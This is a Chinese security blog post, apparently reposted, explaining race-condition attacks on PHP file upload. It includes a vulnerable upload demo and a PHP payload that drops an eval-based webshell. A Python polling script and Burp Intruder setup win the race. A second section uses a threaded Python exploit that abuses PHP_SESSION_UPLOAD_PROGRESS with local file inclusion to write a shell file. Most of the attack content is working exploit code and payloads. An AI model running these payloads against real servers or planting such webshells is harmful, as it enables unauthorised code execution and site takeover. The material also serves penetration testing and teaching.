首页 > Web开发 > 详细

文件上传 之 条件竞争

时间:2020-04-06 13:34:09      阅读:226      评论:0      收藏:0      [点我收藏+]

测试demo:

<html>
<body>
<form action="" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file"/>  
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
<?php

if (!empty($_FILES)) {
move_uploaded_file($_FILES[‘file‘][‘tmp_name‘],$_FILES[‘file‘][‘name‘]);
unlink($_FILES[‘file‘][‘name‘]);

}
?>

shell文件内容:

<?PHP 
echo md5(1);
fputs(fopen(‘shell6666.php‘,‘w‘),‘<?php @eval($_POST[1])?>‘);
?>

一直访问上传文件的py脚本:

# coding:utf-8
import requests
def main():
    i=0
    while 1:
        try:
            print(i,end=‘\r‘)
            a = requests.get("http://aaa.io/sssss.php")
            if "c4ca4238a0b923820dcc509a6f75849b" in a.text:
                print("OK")
                break
        except Exception as e:
            pass
        i+=1
if __name__ == ‘__main__‘:
    main()

其中的c4ca4238a0b923820dcc509a6f75849b = md5(1)

burp设置:->发送到Intrudermo模块->

技术分享图片

 

 技术分享图片

 

 然后同时运行我们的py脚本,和开启burp爆破,顺序无所谓,差不多挨着时间开启即可。

技术分享图片

 

另一个和session文件进行竞争

demo:

<?php
if (isset($_GET[‘file‘])) {
	include ‘./‘ . $_GET[‘file‘];
}

这种情况在我们没办法上传文件的时候,怎么利用呢?那就是包含session文件。

我们知道控制session开启的函数session_start(),当没有使用函数的时候怎么办呢?

session下存在upload_progress属性,用来记录文件上传进度,并且默认是开启状态。

技术分享图片

 

也就是当我们的POST数据包中存在PHP_SESSION_UPLOAD_PROGRESS字段的时候,无需调用session_start()函数,也可初始化session。但是默认会在结尾进行清除,所以我们需要利用条件竞争。

证明的demo:1.php

<html>
<body>
<form action="" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="text" name="PHP_SESSION_UPLOAD_PROGRESS" value="888"/>  
<input type="file" name="file"/>  
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
<?php
?> 

注意:<input type="text" name="PHP_SESSION_UPLOAD_PROGRESS" value="888"/>一定要在<input type="file" name="file"/>前面,不然没办法控制生成的session文件名。

技术分享图片

 

漏洞利用脚本:

import io
import requests
import threading
    
sessid = ‘ph1‘
    
    
def t1(session):
	while True:
		f = io.BytesIO(b‘a‘ * 1024 * 50)
		response = session.post(
			‘http://localhost/2.php‘,
			data={‘PHP_SESSION_UPLOAD_PROGRESS‘: ‘<?=file_put_contents("shell123.php","<?=phpinfo();?>")?>‘},
			files={‘file‘: (‘a.txt‘, f)},
			cookies={‘PHPSESSID‘: sessid}
		)
    
    
def t2(session):
	while True:
		response = session.get(f‘http://localhost/2.php?file=../Extensions/tmp/tmp/sess_{sessid}‘)
		print(response.text)
    
    
with requests.session() as session:
	t1 = threading.Thread(target=t1, args=(session, ))
	t1.daemon = True
	t1.start()

	t2(session)

修改对应的访问路径,和 session文件路径,即可。成功后生成shell123.php文件。

文件上传 之 条件竞争

原文:https://www.cnblogs.com/xiaozhiru/p/12639405.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!